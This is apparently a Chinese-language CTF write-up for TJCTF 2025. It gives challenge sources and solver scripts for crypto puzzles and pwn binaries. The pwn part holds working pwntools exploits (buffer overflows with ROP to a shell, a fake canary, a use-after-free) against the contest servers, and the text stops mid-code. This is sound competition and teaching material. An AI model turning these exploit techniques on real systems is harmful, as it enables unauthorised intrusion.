TJCTF 2025

news2025/6/10 15:59:12

还以为是天津的。这个比较容易,虽然绕了点弯,可还是把CP AK了,不过我会的别人也会,还是没啥名次。记录一下吧。

Crypto

bacon-bits

with open('flag.txt') as f: flag = f.read().strip()
with open('text.txt') as t: text = t.read().strip()

baconian = {
'a': '00000',	'b': '00001',
'c': '00010',	'd': '00011',
'e': '00100',	'f': '00101',
'g': '00110',	'h': '00111',
'i': '01000',    'j': '01000', #ij  j可能是i
'k': '01001',    'l': '01010',
'm': '01011',    'n': '01100',
'o': '01101',    'p': '01110',
'q': '01111',    'r': '10000',
's': '10001',    't': '10010',
'u': '10011',    'v': '10011',  #uv
'w': '10100',	'x': '10101',
'y': '10110',	'z': '10111'}

text = [*text]
ciphertext = ""
for i,l in enumerate(flag):
    if not l.isalpha(): continue
    change = baconian[l]
    ciphertext += "".join([ts for ix, lt in enumerate(text[i*5:(i+1)*5]) if int(change[ix]) and (ts:=lt.upper()) or (ts:=lt.lower())]) #python lazy boolean evaluation + walrus operator

with open('out.txt', 'w') as e:
    e.write(''.join([chr(ord(i)-13) for i in ciphertext]))

把flag通过码表转成2进制位 ,再按2进制把广本转大小写再移位。有个坑是i,j是用的同一个码表,所以后边得猜一下。

a = 'BaV8hcBaTg\`XG[8eXJTfT7h7hCBa4g<`Xg[8EXjTFTWHW8Ba6XHCbATG\`Xg;8eXj4fT7h78bAV8HcBa4G\@XG[XeXJ4fTWHWXBa68hCbA4g<`8G[8e8JTFT7hWXbA6XhcBaTG'
b = ''.join([chr(ord(i)+13) for i in a])
#'OncEupOnatimeThEreWasaDuDuPOnAtImethERewaSadUdEOnCeUPoNaTimetHErewAsaDuDEoNcEUpOnATiMeThereWAsadUdeOnCEuPoNAtImEThErEWaSaDudeoNCeupOnaT'

v = ''.join(['1' if i.isupper() else '0' for i in b])

rb = {}
for i in baconian:
    rb[baconian[i]]=i

flag = ''
for i in range(0,len(v),5):
    flag +=rb[v[i:i+5]]

#tjctfojnkoojnkooojnkoooojnk
#tjctf{oinkooinkoooinkooooink}

alchemist-recipe

 

import hashlib

SNEEZE_FORK = "AurumPotabileEtChymicumSecretum"
WUMBLE_BAG = 8 

def glorbulate_sprockets_for_bamboozle(blorbo):
    zing = {}
    yarp = hashlib.sha256(blorbo.encode()).digest() 
    zing['flibber'] = list(yarp[:WUMBLE_BAG])
    zing['twizzle'] = list(yarp[WUMBLE_BAG:WUMBLE_BAG+16])
    glimbo = list(yarp[WUMBLE_BAG+16:])
    snorb = list(range(256))
    sploop = 0
    for _ in range(256): 
        for z in glimbo:
            wob = (sploop + z) % 256
            snorb[sploop], snorb[wob] = snorb[wob], snorb[sploop]
            sploop = (sploop + 1) % 256
    zing['drizzle'] = snorb
    return zing

def scrungle_crank(dingus, sprockets):
    if len(dingus) != WUMBLE_BAG:
        raise ValueError(f"Must be {WUMBLE_BAG} wumps for crankshaft.")
    zonked = bytes([sprockets['drizzle'][x] for x in dingus]) #查表
    quix = sprockets['twizzle']
    splatted = bytes([zonked[i] ^ quix[i % len(quix)] for i in range(WUMBLE_BAG)])
    wiggle = sprockets['flibber'] 
    waggly = sorted([(wiggle[i], i) for i in range(WUMBLE_BAG)])
    zort = [oof for _, oof in waggly]
    plunk = [0] * WUMBLE_BAG
    for y in range(WUMBLE_BAG):
        x = zort[y]
        plunk[y] = splatted[x]
    return bytes(plunk)

def snizzle_bytegum(bubbles, jellybean):
    fuzz = WUMBLE_BAG - (len(bubbles) % WUMBLE_BAG)
    if fuzz == 0: 
        fuzz = WUMBLE_BAG
    bubbles += bytes([fuzz] * fuzz)   #padding
    glomp = b""
    for b in range(0, len(bubbles), WUMBLE_BAG):
        splinter = bubbles[b:b+WUMBLE_BAG]
        zap = scrungle_crank(splinter, jellybean)
        glomp += zap
    return glomp

def main():
    try:
        with open("flag.txt", "rb") as f:
            flag_content = f.read().strip()
    except FileNotFoundError:
        print("Error: flag.txt not found. Create it with the flag content.")
        return

    if not flag_content:
        print("Error: flag.txt is empty.")
        return

    print(f"Original Recipe (for generation only): {flag_content.decode(errors='ignore')}")

    jellybean = glorbulate_sprockets_for_bamboozle(SNEEZE_FORK)
    encrypted_recipe = snizzle_bytegum(flag_content, jellybean)

    with open("encrypted.txt", "w") as f_out:
        f_out.write(encrypted_recipe.hex())

    print(f"\nEncrypted recipe written to encrypted.txt:")
    print(encrypted_recipe.hex())

if __name__ == "__main__":
    main()

好长的代码,这个命名好长。虽然很恶心,可还得一点点弄,把两个函数逆一下就OK,并不是多难。

jellybean = glorbulate_sprockets_for_bamboozle(SNEEZE_FORK)


def r_scrungle_crank(dingus, sprockets):
    print(dingus.hex())
    #3排序
    wiggle = sprockets['flibber'] 
    waggly = sorted([(wiggle[i], i) for i in range(WUMBLE_BAG)])
    zort = [oof for _, oof in waggly]
    plunk = [0] * WUMBLE_BAG
    for y in range(WUMBLE_BAG):
        x = zort[y]
        plunk[x] = dingus[y]
    print(bytes(plunk).hex())
    #2
    quix = sprockets['twizzle']
    splatted = bytes([plunk[i] ^ quix[i % len(quix)] for i in range(WUMBLE_BAG)])
    print(splatted.hex())
    #1
    zonked = bytes([sprockets['drizzle'].index(x) for x in splatted]) #查表
    print(zonked.hex())
    return bytes(zonked)

def r_snizzle_bytegum(bubbles, jellybean):
    glomp = b""
    for b in range(0, len(bubbles), WUMBLE_BAG):
        splinter = bubbles[b:b+WUMBLE_BAG]
        zap = r_scrungle_crank(splinter, jellybean)
        glomp += zap
    return glomp

bubbles = bytes.fromhex('b80854d7b5920901192ea91ccd9f588686d69684ec70583abe46f6747e940c027bdeaa848ecb316e11d9a99c7e87b09e')
r_snizzle_bytegum(bubbles, jellybean)
#tjctf{thank_you_for_making_me_normal_again_yay}

 theartofwar

这些单词好像都不认识。

from Crypto.Util.number import bytes_to_long, getPrime, long_to_bytes
import time


flag = open('flag.txt', 'rb').read()
m = bytes_to_long(flag)

e = getPrime(8)
print(f'e = {e}')

def generate_key():
    p, q = getPrime(256), getPrime(256)
    while (p - 1) % e == 0:
        p = getPrime(256)
    while (q - 1) % e == 0:
        q = getPrime(256)
    return p * q
    
for i in range(e):
    n = generate_key()
    c = pow(m, e, n)
    print(f'n{i} = {n}')
    print(f'c{i} = {c}')

一个低加密指数的RSA,用CRT求解

cs = [eval(f'c{i}') for i in range(229)]
ns = [eval(f'n{i}') for i in range(229)]
m = crt(cs,ns)
long_to_bytes(iroot(m,e)[0])
#tjctf{the_greatest_victory_is_that_which_require_no_battle}

 seeds

from pwn import *
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

class RandomGenerator:
    def __init__(self, seed = None, modulus = 2 ** 32, multiplier = 157, increment = 1):
        if seed is None: 
            seed = time.asctime()
        if type(seed) is int: 
            self.seed = seed
        if type(seed) is str: 
            self.seed = int.from_bytes(seed.encode(), "big")
        if type(seed) is bytes: 
            self.seed = int.from_bytes(seed, "big")
        self.m = modulus
        self.a = multiplier
        self.c = increment
    
    def randint(self, bits: int):
        self.seed = (self.a * self.seed + self.c) % self.m
        result = self.seed.to_bytes(4, "big")
        while len(result) < bits // 8:
            self.seed = (self.a * self.seed + self.c) % self.m
            result += self.seed.to_bytes(4, "big")
        return int.from_bytes(result, "big") % (2 ** bits)
    
    def randbytes(self, len: int):
        return self.randint(len * 8).to_bytes(len, "big")

用时间作种子就等于告诉了 KEY,直接弄下来即可。

#1--------------------
context.log_level = 'debug'
p = remote('tjc.tf', 31493)

print(time.asctime())
r = RandomGenerator()
key = r.randbytes(32)
print(key)

p.recvline()
print(p.recvline())
p.close()

#2--------------
key = b'\xc7\x8e\xca\x82b\x921\xbbs\xa8\x7f\xb0\xeeVN\xf1*\xeei\xceT6\xe3W\xa5\xa9l\\\x98\xe7tm'
enc = b'I<B\x8f7\x1a\x9d\xba\xcb=Dz8\x97\xe9c\xb7\xaf\x15\x01\xf4\xd9\xd9\xc2\x83jm\x1a\xa2\xda\x10\xb5'
cipher = AES.new(key, AES.MODE_ECB)
cipher.decrypt(enc)
#b'tjctf{h4rv3st_t1me}\n\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'

close-secrets

 

import random
from random import randint
import sys
from Crypto.Util import number
import hashlib 

def encrypt_outer(plaintext_ords, key):
    cipher = []
    key_offset = key % 256
    for val in plaintext_ords:
        if not isinstance(val, int):
            raise TypeError
        cipher.append((val + key_offset) * key)
    return cipher

def dynamic_xor_encrypt(plaintext_bytes, text_key_bytes):
    encrypted_ords = []
    key_length = len(text_key_bytes)
    if not isinstance(plaintext_bytes, bytes):
        raise TypeError
    for i, byte_val in enumerate(plaintext_bytes[::-1]):
        key_byte = text_key_bytes[i % key_length]
        encrypted_ords.append(byte_val ^ key_byte)
    return encrypted_ords

def generate_dh_key():
    p = number.getPrime(1024)
    g = number.getPrime(1024)
    a = randint(p - 10, p)
    b = randint(g - 10, g)
    u = pow(g, a, p)
    v = pow(g, b, p)
    key = pow(v, a, p)
    b_key = pow(u, b, p)
    if key != b_key:
        sys.exit(1)
    return p, g, u, v, key

def generate_challenge_files(flag_file="flag.txt", params_out="params.txt", enc_flag_out="enc_flag"):
    try:
        with open(flag_file, "r") as f:
            flag_plaintext = f.read().strip()
    except FileNotFoundError:
        sys.exit(1)
    flag_bytes = flag_plaintext.encode('utf-8')
    p, g, u, v, shared_key = generate_dh_key()
    xor_key_str = hashlib.sha256(str(shared_key).encode()).hexdigest()
    xor_key_bytes = xor_key_str.encode('utf-8')
    intermediate_ords = dynamic_xor_encrypt(flag_bytes, xor_key_bytes)
    final_cipher = encrypt_outer(intermediate_ords, shared_key)
    with open(params_out, "w") as f:
        f.write(f"p = {p}\n")
        f.write(f"g = {g}\n")
        f.write(f"u = {u}\n")
        f.write(f"v = {v}\n")
    with open(enc_flag_out, "w") as f:
        f.write(str(final_cipher))

if __name__ == "__main__":
    try:
        with open("flag.txt", "x") as f:
            f.write("tjctf{d3f4ult_fl4g_f0r_t3st1ng}")
    except FileExistsError:
        pass
    generate_challenge_files()

越往后越简单,这个未知变量a的范围太小了,直接爆破出来即可。

for a in range(p-10,p):
    if u == pow(g,a,p):
        break

key = pow(v,a,p) 
xor_key_str = hashlib.sha256(str(key).encode()).hexdigest()
xor_key_bytes = xor_key_str.encode('utf-8')

#key_offset = 0
enc = ...
enc = [i//key for i in enc]

v = xor(bytes(enc),xor_key_bytes)[::-1]
#b"&#(64#5.!m>af['25d0]#i3vqYqa6xf#rtjctf{sm4ll_r4ng3_sh0rt_s3cr3t}"
#tjctf{sm4ll_r4ng3_sh0rt_s3cr3t}

 dotdotdotv2

import numpy as np
import random
import sys

sys.stdin = open("flag.txt", "r")
sys.stdout = open("encoded.txt", "w")

n = 64

filler = "In cybersecurity, a CTF (Capture The Flag) challenge is a competitive, gamified event where participants, either individually or in teams, are tasked with finding and exploiting vulnerabilities in systems to capture hidden information known as flags. These flags are typically used to score points. CTFs test skills in areas like cryptography, web security, reverse engineering, and forensics, offering an exciting way to learn, practice, and showcase cybersecurity expertise.  This flag is for you: "

flag = input()
flag = filler+flag
flag = "".join([bin(ord(i))[2:].zfill(8) for i in flag])
flag = flag + "0"*(n-len(flag)%n)
flag = np.array([list(map(int,list(flag[i:i+n]))) for i in range(0, len(flag), n)])

key = np.array([[random.randint(0,0xdeadbeef) for _ in range(n)] for _ in range(n)])

for i in flag: print(*list(np.dot(i,key)))

矩阵乘法的题,但不大全,前边只能弄到63*64差一个,猜最后一组为}+pad,就够64了,解出key后再用除法得到原文里的flag,不过好像其中差了一位,猜是最后一个字符差1位,手工补上。

#猜padding 7字节
C = matrix(ZZ, c[:63]+c[-1:])
C2 = matrix(ZZ,c)
if 1:
      flag = filler+'tjct'+'}'+chr(0)*7
      flag = "".join([bin(ord(i))[2:].zfill(8) for i in flag])
      flag = [[int(i) for i in flag[i:i+n]] for i in range(0, len(flag), n)]
      m = matrix(ZZ,flag)
      try: 
          key = m.solve_right(C)
          m2 = C2/key
          v = ''
          for i in m2:
              for j in i:
                  v+=str(j)
          m3 = ''.join([chr(int(v[i:i+8],2)) for i in range(0,len(v),8)])
          print(m3.encode())
      except:
          pass


#b'In cybeRsecuritY, a CTF\x00(CapturE The FlAg) chalLenge is\x00a compeTitive, Gamified\x00event wHere parTicipantS, eitheR indiviDually oR in teaMs, are Tasked wIth findIng and ExploitiNg vulneRabilitiEs in syStems to\x00capture\x00hidden InformatIon knowN as flaGs. ThesE flags Are typiCally usEd to scOre poinTs. CTFs\x00test skIlls in Areas liKe cryptOgraphy,\x00web secUrity, rEverse eNgineeriNg, and ForensicS, offerIng an eXciting Way to lEarn, prActice, And showCase cybErsecuriTy experTise.  THis flag\x00is for You: tjcTf{us3fu\x128931295\x13}\x00\x00\x00\x00\x00\x00\x00'
#第8字节第3位                            v         v
tjcTf{us3fu\x128931295\x13} #第3位加1  01010100->01110100
tjctf{us3fu289312953}

 pseudo-secure

#!/usr/local/bin/python
import random
import base64
import sys
import select

class User:
    def __init__(self, username):
        self.username = username
        self.key = self.get_key()
        self.message = None
    
    def get_key(self):
        username = self.username
        num_bits = 8 * len(username)
        rand = random.getrandbits(num_bits)
        print(rand)
        rand_bits = bin(rand)[2:].zfill(num_bits)
        username_bits = ''.join([bin(ord(char))[2:].zfill(8) for char in username])
        xor_bits = ''.join([str(int(rand_bits[i]) ^ int(username_bits[i])) for i in range(num_bits)])
        xor_result = int(xor_bits, 2)
        shifted = ((xor_result << 3) & (1 << (num_bits + 3)) - 1) ^ 0x5A
        byte_data = shifted.to_bytes((shifted.bit_length() + 7) // 8, 'big')
        key = base64.b64encode(byte_data).decode('utf-8')
        return key
    
    def set_message(self, message):
        self.message = message

def input_with_timeout(prompt="", timeout=10):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    ready, _, _ = select.select([sys.stdin], [], [], timeout)
    if ready:
        return sys.stdin.buffer.readline().rstrip(b'\n')
    raise Exception
input = input_with_timeout

flag = open("flag.txt").read()

assert len(flag)%3 == 0
flag_part1 = flag[:len(flag)//3]
flag_part2 = flag[len(flag)//3:2*len(flag)//3]
flag_part3= flag[2*len(flag)//3:]

admin1 = User("Admin001")
admin2 = User("Admin002")
admin3 = User("Admin003")
admin1.set_message(flag_part1)
admin2.set_message(flag_part2)
admin3.set_message(flag_part3)
user_dict = {
    "Admin001": admin1,
    "Admin002": admin2,
    "Admin003": admin3
}

print("Welcome!")
logged_in = None
user_count = 3 
MAX_USERS = 200

while True:
    if logged_in is None:
        print("\n\n[1] Sign-In\n[2] Create Account\n[Q] Quit")
        inp = input().decode('utf-8').strip().lower()
        match inp:
            case "1":
                username = input("Enter your username:  ").decode('utf-8')
                if username in user_dict:
                    user = user_dict[username]
                    key = input("Enter your sign-in key: ").decode('utf-8')
                    if key == user.key:
                        logged_in = user
                        print(f"Logged in as {username}")
                    else:
                        print("Incorrect key. Please try again!")
                else:
                    print("Username not found. Please try again or create an account.")
            case "2":
                if user_count >= MAX_USERS:
                    print("Max number of users reached. Cannot create new account.")
                else:
                    username = input("Select username:  ").decode('utf-8')
                    if username in user_dict:
                        print(f"Username '{username}' is already taken!")
                    else:
                        user_dict[username] = User(username)
                        user_count += 1 
                        print(f"Account successfully created!\nYour sign-in key is: {user_dict[username].key}")
            case "q":
                sys.exit()
            case _:
                print("Invalid option. Please try again.")
    else:
        print(f"Welcome, {logged_in.username}!")
        print("\n\n[1] View Message\n[2] Set Message\n[L] Logout")
        inp = input().decode('utf-8').strip().lower()
        match inp:
            case "1":
                print(f"Your message: {logged_in.message}")
            case "2":
                new_message = input("Enter your new message: ").decode('utf-8')
                logged_in.set_message(new_message)
                print("Message updated successfully.")
            case "l":
                print(f"Logged out from {logged_in.username}.")
                logged_in = None
            case _:
                print("Invalid option. Please try again.")

python伪随机数预测的题,只需要输入一个足够长的用户名,得到加密用的随机数就能恢复前边的密码。

from pwn import *
from extend_mt19937_predictor import ExtendMT19937Predictor
from base64 import b64decode 
from Crypto.Util.number import bytes_to_long
context.log_level = 'debug'

class User:
    def __init__(self, username):
        self.username = username
        self.message = None
    
    def get_key(self, rand):
        username = self.username
        num_bits = 8 * len(username)
        #rand = random.getrandbits(num_bits)
        rand_bits = bin(rand)[2:].zfill(num_bits)
        username_bits = ''.join([bin(ord(char))[2:].zfill(8) for char in username])
        xor_bits = ''.join([str(int(rand_bits[i]) ^ int(username_bits[i])) for i in range(num_bits)])
        xor_result = int(xor_bits, 2)
        shifted = ((xor_result << 3) & (1 << (num_bits + 3)) - 1) ^ 0x5A
        byte_data = shifted.to_bytes((shifted.bit_length() + 7) // 8, 'big')
        key = base64.b64encode(byte_data).decode('utf-8')
        return key
    
    def set_message(self, message):
        self.message = message


p = remote('tjc.tf', 31400)

p.sendlineafter(b"[Q] Quit", b'2')
p.sendlineafter(b"Select username:  ", b'A'*624*4)
p.recvuntil(b"key is: ")
key = b64decode(p.recvline().strip().decode())
print(key.hex())
'''
>>> a = User('abcdefgh')
13741322219964608806
>>> b = base64.b64decode(a.key)
>>> c = bytes_to_long(b)
>>> ((c^0x5a)>>3)^bytes_to_long(b'abcdefgh')
13741322219964608806
'''

key = ((bytes_to_long(key)^0x5A)>>3)^bytes_to_long(b'A'*624*4)


predictor = ExtendMT19937Predictor()
predictor.setrandbits(key, 32*624)
_ = [predictor.backtrack_getrandbits(32) for i in range(624)]

rs = [predictor.backtrack_getrandbits(64) for i in range(3)]
ns = [User("Admin003"),User("Admin002"),User("Admin001")]
ks = [ns[i].get_key(rs[i]) for i in range(3)]

for i in range(3):
    p.sendlineafter(b"[Q] Quit", b'1')
    p.sendlineafter(b"Enter your username:  ", ns[i].username.encode())
    p.sendlineafter(b"Enter your sign-in key: ", ks[i].encode())
    p.sendlineafter(b"Logout", b'1')
    p.sendlineafter(b"Logout", b'l')

p.close()


#tjctf{1_gu3ss_h1nds1ght_15_20/20}

 double-trouble

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random

def gen():
    myrandom = random.Random(42)
    k1 = myrandom.randbytes(8)
    choices = list(myrandom.randbytes(6))
    print(bytes(choices))
    k2 = b''
    for _ in range(8):
        k2 += bytes([choices[random.randint(0, 3)]])
    return k1, k2

def enc(data, k1, k2,  k3, k4):
    key1 = k1+k2
    cipher = AES.new(key1, mode=AES.MODE_ECB)
    ct1 = cipher.encrypt(pad(data, 16))
    key2 = k4+k3
    cipher = AES.new(key2, mode=AES.MODE_ECB)
    ct2 = cipher.encrypt(ct1)
    return ct2

k1, k2 = gen()
k3, k4 = gen()

pt = b"example"

with open('flag.txt') as f:
    flag = f.read().encode()

with open('out.txt', "w") as f:
    f.write(enc(pt, k1, k2, k3, k4).hex())
    f.write("\n")
    f.write(enc(flag, k1, k2, k3, k4).hex())

最后出的题差点漏了。其中k1,k3是已知的,k2,k4是通过一个固定值取的随机8位4选1*8,所以爆破一下不难,用的MITM。16+16

k1 = k3 = b'\x9dy\xb1\xa3\x7f1\x80\x1c'
choices = b'\xd1\x1ag\x06\xd6\xbd'[:4]

dic = [bytes(i) for i in itertools.product(choices,repeat=8)]
m1 = pad(b"example",16)
c1 = bytes.fromhex('7125383e330c692c75e0ee0886ec7779')
mitm_l = {}
for k2 in dic:
    key1 = k1+k2
    cipher = AES.new(key1, mode=AES.MODE_ECB)
    ct1 = cipher.encrypt(m1)
    mitm_l[ct1] = k2

for k4 in dic:
    key2 = k4+k3
    cipher = AES.new(key2, mode=AES.MODE_ECB)
    m2 = cipher.decrypt(c1)
    if m2 in mitm_l:
        print('k2 = ', mitm_l[m2], '\nk4 = ', k4)
        break

k2 =  b'\x1a\x1a\x1a\x1agg\x1a\x06'
k4 =  b'\x1ag\x1a\x1a\x06\xd1\x1a\x1a'

c2 = bytes.fromhex('9ecba853742db726fb39e748a0c5cfd06b682c8f15be13bc8ba2b2304897eca2')
key2 = k4+k3
cipher = AES.new(key2, mode=AES.MODE_ECB)
m2 = cipher.decrypt(c2)
key1 = k1+k2
cipher = AES.new(key1, mode=AES.MODE_ECB)
m = cipher.decrypt(m2)
#tjctf{m33t_in_th3_middl3}

 

PWN

i-love-birds

#include <stdio.h>
#include <stdlib.h>

void gadget() {
    asm("push $0x69;pop %rdi");
}


void win(int secret) {
    if (secret == 0xA1B2C3D4) {
        system("/bin/sh");
    }
}


int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    unsigned int canary = 0xDEADBEEF;

    char buf[64];

    puts("I made a canary to stop buffer overflows. Prove me wrong!");
    gets(buf);

    if (canary != 0xDEADBEEF) {
        puts("No stack smashing for you!");
        exit(1);
    }


    return 0;
}

手工作的canary,已知

from pwn import *
context(arch='amd64', log_level='debug')

p = remote('tjc.tf', 31625)

p.sendlineafter(b"\n", b'\0'*0x4c+p32(0xDEADBEEF)+flat(0,0x4011c0, 0xA1B2C3D4,0, 0x4011c4))


p.sendline(b'cat flag.txt')

p.interactive()
#tjctf{1_gu355_y0u_f0und_th3_f4ke_b1rd_ch1rp_CH1rp_cH1Rp_Ch1rP_ch1RP}

extra-credit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

#define MAX_LEN 32
#define FLAG_FILE "./flag.txt"
#define FLAG_SIZE 256

const char *SECRET = "[REDACTED]";

void changeGrade() {
    char buf[FLAG_SIZE];
    memset(buf, 0, FLAG_SIZE);
    FILE *f = fopen(FLAG_FILE, "r");
    if (f == NULL) {
        printf("Missing flag file. \n");
    } else {
        fgets(buf, FLAG_SIZE, f);
        printf("\n");
        printf("Whose grade would you like to change?");
        printf("\n");
        write(STDOUT_FILENO, buf, strlen(buf));
        printf("\n");
    }
    exit(0);
}

void accessMemory() {
    struct timespec ts = {.tv_sec = 0, .tv_nsec = 5000000};
    nanosleep(&ts, NULL);
}

void authenticateTeacher() {
    char input[MAX_LEN];
    printf("\n[TEACHER VIEW] Enter your password [a-z, 0-9]:");
    scanf("%31s", input);

    for (int i = 0; i < strlen(SECRET); i++) {
        accessMemory();
        if (input[i] != SECRET[i]) break;
        accessMemory();
    }

    if (strcmp(input, SECRET) == 0) {
        printf("\nAccess granted.\n");
        changeGrade();
    } else {
        printf("\nInvalid password!\n");
    }
}

void showGrade(int id) {
    switch ((short)id) {
        case 1: printf("Phineas: A+\n"); break;
        case 2: printf("Ferb: A\n"); break;
        case 3: printf("Candace: B+\n"); break;
        case 4: printf("Buford: C\n"); break;
        case 5: printf("Baljeet: A+\n"); break;
        case 6: printf("Isabella: A\n"); break;
        case 7: printf("Perry: P\n"); break;
        case 8: printf("Doofenshmirtz: D\n"); break;
        case 9: printf("Jeremy: B\n"); break;
        case 10: printf("Vanessa: A-\n"); break;
        case 0x0BEE:
            printf("\nAccessing teacher view...\n");
            authenticateTeacher();
            break;
        default:
            printf("Unknown student ID.\n");
    }
}

int main() {
    setvbuf(stdin,  NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    int id;
    printf("Welcome to the Tri-State Grade Viewer\n");
    printf("Enter your student ID: ");

    if (scanf("%d", &id) != 1 || id > 10) {
        printf("Invalid student ID.\n");
        int ch;
        while ((ch = getchar()) != '\n' && ch != EOF);
        exit(0);
    }
    
    showGrade(id);
    return 0;
}

明显是个侧信道,可是两次时间差是0.01秒,但远程的误差是0.2秒多,所以爆破不出来,然后猜会不会给的程序就是真的运行的程序呢,那密码就已知了,一试成。

from pwn import *
import time
context(arch='amd64', log_level='debug')

def sss(head, t):
    #p = process('./gradeViewer')
    p = remote('tjc.tf', 31624)
    p.sendlineafter(b"Enter your student ID: ", str(0x80000bee).encode())
    p.sendlineafter(b"[a-z, 0-9]:", head.encode())
    p.recvuntil(b"\nInvalid password!\n", timeout=30)
    p.interactive()

sss('f1shc0de',0)
#tjctf{th4nk_y0u_f0r_sav1ng_m3y_grade}

city-planning

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>

typedef struct {
    char name[32];
    int numAcres;
    int coordinates[2];
} buildingPlan;

typedef struct {
    int numAcres;
    int coordinates[2];
    int entryCode[8];
} HQPlan;

bool approvePlan(buildingPlan *plan) {
    if (plan->numAcres >= 10) {
        free(plan);
        plan = NULL;
        return false;
    }
    if (plan->coordinates[0] >= 200 || plan->coordinates[1] >= 200) {
        free(plan);
        plan = NULL;
        return false;
    }
    return true;
}

bool approveHQ(HQPlan *plan) {
    if (plan->numAcres >= 100) {
        free(plan);
        plan = NULL;
        return false;
    }
    if (plan->coordinates[0] >= 50 || plan->coordinates[1] >= 50) {
        free(plan);
        plan = NULL;
        return false;
    }
    return true;
}

int main() {
    char buf[32];

    setbuf(stdout, NULL);

    HQPlan *superSecretHQ = malloc(sizeof(HQPlan));
    superSecretHQ->numAcres = rand() % 100 + 10;
    superSecretHQ->coordinates[0] = rand() % 150 + 50;
    superSecretHQ->coordinates[1] = rand() % 150 + 50;
    for (int i = 0; i < 8; i++) {
        superSecretHQ->entryCode[i] = rand() % 100;
    }
    approveHQ(superSecretHQ); #10%概率会被free掉

    printf("Welcome to the city planner! You are allowed to plan one building for the city\n");
    buildingPlan *currentBuilding = malloc(sizeof(buildingPlan));

    printf("Enter the name of your building: ");
    fgets(buf, 32, stdin);
    memcpy(currentBuilding->name, buf, 32);

    printf("Enter the size of your building (in acres): ");
    fgets(buf, 32, stdin);
    currentBuilding->numAcres = atoi(buf);

    printf("Enter the east-west coordinate or your building (miles east of the city center): ");
    fgets(buf, 32, stdin);
    currentBuilding->coordinates[0] = atoi(buf);
    printf("Enter the north-south coordinate or your building (miles north of the city center): ");
    fgets(buf, 32, stdin);
    currentBuilding->coordinates[1] = atoi(buf);

    if (!approvePlan(currentBuilding)) {
        printf("Your building was not approved :(\n");
        return 1;
    }

    printf("Your building was approved! Construction will begin within the next 27 years\n\n");
    printf("Since your building was approved, you must be a great architect.\n");
    printf("Because of this, we'd like to invite you to join the Super Secret Architect's Guild!\n");
    printf("To join the guild, all you have to do is find the planned coordinates of our headquarters\n");

    int guess[2];
    printf("Enter the east-west coordinate: ");
    fgets(buf, 32, stdin);
    guess[0] = atoi(buf);

    printf("Enter the north-south coordinate: ");
    fgets(buf, 32, stdin);
    guess[1] = atoi(buf);

    if (guess[0] != superSecretHQ->coordinates[0] || guess[1] != superSecretHQ->coordinates[1]) {
        printf("Incorrect guess\n");
        return 1;
    } 

    printf("Correct! Welcome to the guild!");

    FILE *flagFile = fopen("flag.txt", "r");
    char flag[32];
    fgets(flag, 32, flagFile);

    printf("Here is the password to enter guild HQ: %s", flag);
    return 0;
}

很长的代码其实都没有用,先生成个密码然后有一定概率被free掉再生成块形成覆盖就能得到覆盖掉密码

from pwn import *
context(arch='amd64', log_level='debug')

p = remote('tjc.tf', 31489)

p.sendlineafter(b"Enter the name of your building: ",b'\0'*30)
p.sendline(b'0')
p.sendline(b'0')
p.sendline(b'0')

p.sendline(b'0')
p.sendline(b'0')

p.interactive()
#tjctf{a_tru3_4rchit3ct_2erg4b5}

wrong-warp

代码很乱,菜单来回套,其中有一个有溢出。直接去溢出就行了。

from pwn import *
import time
context(arch='amd64', log_level='debug')

elf = ELF('./heroQuest')

#p = process('./heroQuest')
#gdb.attach(p, "b*0x40141f\nc")
p = remote('tjc.tf', 31365)

p.sendlineafter(b"First, enter the name for your save file! ",b'/bin/sh\0') #0x4040a0
p.sendlineafter(b"You can go (n)orth, (e)ast, (s)outh, or (w)est. ",b' w')
p.sendlineafter(b"Options: (a)sk about the castle, (f)ight villagers, (r)est at the inn to save, or (g)o back ", b' r')

#p.sendline(b'')
save = elf.sym['save']
pop_rdi = 0x00000000004017ab # pop rdi ; ret
p.sendlineafter(b'You decide to take a rest. Enter the name for your save file: ', flat(b'a'*0x20, 0, pop_rdi, 0x404018, elf.plt['puts'], save))
libc_base = u64(p.recvline()[:-1]+b'\0\0') - 0x87be0
print(hex(libc_base))

system = libc_base + 0x58750
p.sendline(flat(b'a'*0x20, 0, pop_rdi+1, pop_rdi, 0x4040a0, system))
p.interactive()
#tjctf{up_up_d0wn_d0wn_l3ft_r1ght_l3ft_r1ght_b_a}

buggy

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>


#define DEBUG true

int main(int argc, char **argv) {
    char inputBuffer[1024];
    unsigned int balance = 50;
    
    setbuf(stdout, NULL);

    if (DEBUG) {
        printf("%p, %p\n", &inputBuffer, &balance);
    }

    puts("Welcome to TJ Bank!");
    while (true) {
        printf("What would you like to do? (view balance|deposit|withdraw|transfer|exit) ");
        fgets(inputBuffer, 1024, stdin);
        if (strcmp(inputBuffer, "view balance\n") == 0) {
            printf("Your balance is $%u\n", balance);
        } else if (strcmp(inputBuffer, "deposit\n") == 0) {
            printf("Enter amount: ");
            fgets(inputBuffer, 1024, stdin);
            if (DEBUG) {
                printf(inputBuffer); //-----------------------
            }
            int amount = atoi(inputBuffer);
            balance += amount;
            printf("$%u added to account\n", amount);
        } else if (strcmp(inputBuffer, "withdraw\n") == 0) {
            printf("Enter amount: ");
            fgets(inputBuffer, 1024, stdin);
            if (DEBUG) {
                printf(inputBuffer);
            }
            int amount = atoi(inputBuffer);
            if (amount > balance) {
                puts("Balance too low to continue. Aborting.");
                continue;
            }
            balance -= amount;
            printf("$%u removed from account\n", amount);
        } else if (strcmp(inputBuffer, "transfer\n") == 0) {
            printf("Enter account number for transfer: ");
            fgets(inputBuffer, 1024, stdin);
            int accountNumber = atoi(inputBuffer);
            printf("Enter amount: ");
            fgets(inputBuffer, 1024, stdin);
            int amount = atoi(inputBuffer);
            if (amount > balance) {
                puts("Balance too low to continue. Aborting.");
                continue;
            }
            balance -= amount;
            printf("$%u transferred to account number %u\n", amount, accountNumber);
